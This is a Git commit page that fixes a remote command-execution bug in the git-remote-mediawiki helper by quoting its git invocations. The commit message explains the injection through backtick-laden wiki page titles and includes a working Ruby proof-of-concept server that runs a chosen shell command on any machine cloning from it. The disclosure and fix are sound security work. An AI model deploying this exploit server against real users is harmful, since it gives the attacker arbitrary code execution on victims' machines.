Skip to content

Commit 4842a11

Browse files
avargitster
authored andcommitted
remote-mediawiki: convert to quoted run_git() invocation
Change those callsites that are able to call run_safe() with a quoted list of arguments to do so. This fixes a RCE bug in this transport helper reported by Joern Schneeweisz to the git-security mailing list. The issue is being made public due to the relative obscurity of the remote-mediawiki code. The security issue is that we'd execute a command like this via Perl's "open -|", where the $name is taken directly from the api.php response. So that a JSON response of e.g.: [...]"title":"`id>/tmp/mw`:Main Page"[..] Would result in an invocation of: git config --add remote.origin.namespaceCache "`id>/tmp/mw`:notANameSpace" >From code such as this, which is being changed by this patch: run_git(qq(config --add remote.${remotename}.namespaceCache "${name}:${store_id}")); So we'd execute an arbitrary command, and also put "remote.origin.namespaceCache=:notANameSpace" in the config. With this change we quote all of this, so now we'll simply write "remote.origin.namespaceCache=`id>/tmp/x`:notANameSpace" into the config, and not execute any remote commands. About the implementation: as noted in [1] (see also [2]) this style of invoking open() has compatibility issues on Windows up to Perl 5.22. However, Johannes Schindelin notes that we shouldn't worry about Windows in this context because (quoting a private E-Mail of his): 1. The mediawiki helper has never been shipped as part of an official Git for Windows version. Neither has it ever been part of an official MSYS2 package. Which means that Windows users who want to use the mediawiki helper have to build Git themselves, which not many users seem to do. 2. The last Git for Windows version to ship with Perl v5.22.x was Git for Windows v2.11.1; Since Git for Windows v2.12.0 (released on February 25th, 2017), only newer Perl versions were included. So let's just use this open() API. Grepping around shows that various other Perl code we ship such as gitweb etc. uses this way of calling open(), so we shouldn't have any issues with compatibility. For further reference and future testing, here's working exploit code provided by Joern: #!/usr/bin/ruby # git client side RCE via `mediawiki` remote proof of concept # Joern Schneeweisz - GitLab Security Research Team require 'sinatra' set bind: '0.0.0.0' if not ARGV[0] puts "Please provide the shell command to be execucted." exit -1 end cmd = ARGV[0] all_pages = sprintf('{"limits":{"allpages":500},"query":{"allpages":[{"pageid":1,"ns":3,"title":"`%s`:Main Page"}]}}', cmd) revs = sprintf('{"query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0,"user":"MediaWiki default","timestamp":"2020-09-04T20:25:08Z","contentformat":"text/x-wiki","contentmodel":"wikitext","comment":"","*":"<al:MyLanguage/Help:Contents]"}]}}}}', cmd) mainpage= sprintf('{"batchcomplete":"","query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0}]}}}}',cmd) post '/api.php' do if params[:list] == 'allpages' return all_pages end if params[:prop] == 'revisions' return revs end return mainpage end Which: [...] should be run like: `ruby wiki.rb 'id>/tmp/mw'`. Now when being cloned with `git clone mediawiki::http://localhost:4567` the file `/tmp/mw` will be created during the clone process, containing the output of `id`. 1. https://perldoc.perl.org/functions/open.html#Opening-a-filehandle-into-a-command 2. https://perldoc.perl.org/perlipc.html#Safe-Pipe-Opens Reported-by: Joern Schneeweisz <[email protected]> Signed-off-by: Ævar Arnfjörð Bjarmason <[email protected]> Signed-off-by: Junio C Hamano <[email protected]>
1 parent 2d6b08a commit 4842a11

File tree

1 file changed

+26
-23
lines changed

1 file changed

+26
-23
lines changed

contrib/mw-to-git/git-remote-mediawiki.perl

Lines changed: 26 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -56,38 +56,38 @@
5656

5757
# Accept both space-separated and multiple keys in config file.
5858
# Spaces should be written as _ anyway because we'll use chomp.
59-
my @tracked_pages = split(/[ \n]/, run_git("config --get-all remote.${remotename}.pages"));
59+
my @tracked_pages = split(/[ \n]/, run_git_quoted(["config", "--get-all", "remote.${remotename}.pages"]));
6060
chomp(@tracked_pages);
6161

6262
# Just like @tracked_pages, but for MediaWiki categories.
63-
my @tracked_categories = split(/[ \n]/, run_git("config --get-all remote.${remotename}.categories"));
63+
my @tracked_categories = split(/[ \n]/, run_git_quoted(["config", "--get-all", "remote.${remotename}.categories"]));
6464
chomp(@tracked_categories);
6565

6666
# Just like @tracked_categories, but for MediaWiki namespaces.
67-
my @tracked_namespaces = split(/[ \n]/, run_git("config --get-all remote.${remotename}.namespaces"));
67+
my @tracked_namespaces = split(/[ \n]/, run_git_quoted(["config", "--get-all", "remote.${remotename}.namespaces"]));
6868
for (@tracked_namespaces) { s/_/ /g; }
6969
chomp(@tracked_namespaces);
7070

7171
# Import media files on pull
72-
my $import_media = run_git("config --get --bool remote.${remotename}.mediaimport");
72+
my $import_media = run_git_quoted(["config", "--get", "--bool", "remote.${remotename}.mediaimport"]);
7373
chomp($import_media);
7474
$import_media = ($import_media eq 'true');
7575

7676
# Export media files on push
77-
my $export_media = run_git("config --get --bool remote.${remotename}.mediaexport");
77+
my $export_media = run_git_quoted(["config", "--get", "--bool", "remote.${remotename}.mediaexport"]);
7878
chomp($export_media);
7979
$export_media = !($export_media eq 'false');
8080

81-
my $wiki_login = run_git("config --get remote.${remotename}.mwLogin");
81+
my $wiki_login = run_git_quoted(["config", "--get", "remote.${remotename}.mwLogin"]);
8282
# Note: mwPassword is discouraged. Use the credential system instead.
83-
my $wiki_passwd = run_git("config --get remote.${remotename}.mwPassword");
84-
my $wiki_domain = run_git("config --get remote.${remotename}.mwDomain");
83+
my $wiki_passwd = run_git_quoted(["config", "--get", "remote.${remotename}.mwPassword"]);
84+
my $wiki_domain = run_git_quoted(["config", "--get", "remote.${remotename}.mwDomain"]);
8585
chomp($wiki_login);
8686
chomp($wiki_passwd);
8787
chomp($wiki_domain);
8888

8989
# Import only last revisions (both for clone and fetch)
90-
my $shallow_import = run_git("config --get --bool remote.${remotename}.shallow");
90+
my $shallow_import = run_git_quoted(["config", "--get", "--bool", "remote.${remotename}.shallow"]);
9191
chomp($shallow_import);
9292
$shallow_import = ($shallow_import eq 'true');
9393

@@ -97,9 +97,9 @@
9797
# Possible values:
9898
# - by_rev: perform one query per new revision on the remote wiki
9999
# - by_page: query each tracked page for new revision
100-
my $fetch_strategy = run_git("config --get remote.${remotename}.fetchStrategy");
100+
my $fetch_strategy = run_git_quoted(["config", "--get", "remote.${remotename}.fetchStrategy"]);
101101
if (!$fetch_strategy) {
102-
$fetch_strategy = run_git('config --get mediawiki.fetchStrategy');
102+
$fetch_strategy = run_git_quoted(["config", "--get", "mediawiki.fetchStrategy"]);
103103
}
104104
chomp($fetch_strategy);
105105
if (!$fetch_strategy) {
@@ -123,9 +123,9 @@
123123
# will get the history with information lost). If the import is
124124
# deterministic, this means everybody gets the same sha1 for each
125125
# MediaWiki revision.
126-
my $dumb_push = run_git("config --get --bool remote.${remotename}.dumbPush");
126+
my $dumb_push = run_git_quoted(["config", "--get", "--bool", "remote.${remotename}.dumbPush"]);
127127
if (!$dumb_push) {
128-
$dumb_push = run_git('config --get --bool mediawiki.dumbPush');
128+
$dumb_push = run_git_quoted(["config", "--get", "--bool", "mediawiki.dumbPush"]);
129129
}
130130
chomp($dumb_push);
131131
$dumb_push = ($dumb_push eq 'true');
@@ -984,7 +984,7 @@ sub mw_import_revids {
984984
}
985985

986986
sub error_non_fast_forward {
987-
my $advice = run_git('config --bool advice.pushNonFastForward');
987+
my $advice = run_git_quoted(["config", "--bool", "advice.pushNonFastForward"]);
988988
chomp($advice);
989989
if ($advice ne 'false') {
990990
# Native git-push would show this after the summary.
@@ -1028,7 +1028,7 @@ sub mw_upload_file {
10281028
}
10291029
} else {
10301030
# Don't let perl try to interpret file content as UTF-8 => use "raw"
1031-
my $content = run_git("cat-file blob ${new_sha1}", 'raw');
1031+
my $content = run_git_quoted(["cat-file", "blob", $new_sha1], 'raw');
10321032
if ($content ne EMPTY) {
10331033
$mediawiki = connect_maybe($mediawiki, $remotename, $url);
10341034
$mediawiki->{config}->{upload_url} =
@@ -1098,7 +1098,7 @@ sub mw_push_file {
10981098
# with this content instead:
10991099
$file_content = DELETED_CONTENT;
11001100
} else {
1101-
$file_content = run_git("cat-file blob ${new_sha1}");
1101+
$file_content = run_git_quoted(["cat-file", "blob", $new_sha1]);
11021102
}
11031103

11041104
$mediawiki = connect_maybe($mediawiki, $remotename, $url);
@@ -1211,7 +1211,7 @@ sub mw_push_revision {
12111211
my $parsed_sha1 = $remoteorigin_sha1;
12121212
# Find a path from last MediaWiki commit to pushed commit
12131213
print {*STDERR} "Computing path from local to remote ...\n";
1214-
my @local_ancestry = split(/\n/, run_git("rev-list --boundary --parents ${local} ^${parsed_sha1}"));
1214+
my @local_ancestry = split(/\n/, run_git_quoted(["rev-list", "--boundary", "--parents", $local, "^${parsed_sha1}"]));
12151215
my %local_ancestry;
12161216
foreach my $line (@local_ancestry) {
12171217
if (my ($child, $parents) = $line =~ /^-?([a-f0-9]+) ([a-f0-9 ]+)/) {
@@ -1235,7 +1235,7 @@ sub mw_push_revision {
12351235
# No remote mediawiki revision. Export the whole
12361236
# history (linearized with --first-parent)
12371237
print {*STDERR} "Warning: no common ancestor, pushing complete history\n";
1238-
my $history = run_git("rev-list --first-parent --children ${local}");
1238+
my $history = run_git_quoted(["rev-list", "--first-parent", "--children", $local]);
12391239
my @history = split(/\n/, $history);
12401240
@history = @history[1..$#history];
12411241
foreach my $line (reverse @history) {
@@ -1247,12 +1247,12 @@ sub mw_push_revision {
12471247
foreach my $commit_info_split (@commit_pairs) {
12481248
my $sha1_child = @{$commit_info_split}[0];
12491249
my $sha1_commit = @{$commit_info_split}[1];
1250-
my $diff_infos = run_git("diff-tree -r --raw -z ${sha1_child} ${sha1_commit}");
1250+
my $diff_infos = run_git_quoted(["diff-tree", "-r", "--raw", "-z", $sha1_child, $sha1_commit]);
12511251
# TODO: we could detect rename, and encode them with a #redirect on the wiki.
12521252
# TODO: for now, it's just a delete+add
12531253
my @diff_info_list = split(/\0/, $diff_infos);
12541254
# Keep the subject line of the commit message as mediawiki comment for the revision
1255-
my $commit_msg = run_git(qq(log --no-walk --format="%s" ${sha1_commit}));
1255+
my $commit_msg = run_git_quoted(["log", "--no-walk", '--format="%s"', $sha1_commit]);
12561256
chomp($commit_msg);
12571257
# Push every blob
12581258
while (@diff_info_list) {
@@ -1277,7 +1277,10 @@ sub mw_push_revision {
12771277
}
12781278
}
12791279
if (!$dumb_push) {
1280-
run_git(qq(notes --ref=${remotename}/mediawiki add -f -m "mediawiki_revision: ${mw_revision}" ${sha1_commit}));
1280+
run_git_quoted(["notes", "--ref=${remotename}/mediawiki",
1281+
"add", "-f", "-m",
1282+
"mediawiki_revision: ${mw_revision}",
1283+
$sha1_commit]);
12811284
}
12821285
}
12831286

@@ -1318,7 +1321,7 @@ sub get_mw_namespace_id {
13181321
# already cached. Namespaces are stored in form:
13191322
# "Name_of_namespace:Id_namespace", ex.: "File:6".
13201323
my @temp = split(/\n/,
1321-
run_git("config --get-all remote.${remotename}.namespaceCache"));
1324+
run_git_quoted(["config", "--get-all", "remote.${remotename}.namespaceCache"]));
13221325
chomp(@temp);
13231326
foreach my $ns (@temp) {
13241327
my ($n, $id) = split(/:/, $ns);
@@ -1372,7 +1375,7 @@ sub get_mw_namespace_id {
13721375

13731376
# Store explicitly requested namespaces on disk
13741377
if (!exists $cached_mw_namespace_id{$name}) {
1375-
run_git(qq(config --add remote.${remotename}.namespaceCache "${name}:${store_id}"));
1378+
run_git_quoted(["config", "--add", "remote.${remotename}.namespaceCache", "${name}:${store_id}"]);
13761379
$cached_mw_namespace_id{$name} = 1;
13771380
}
13781381
return $id;

0 commit comments

Comments
 (0)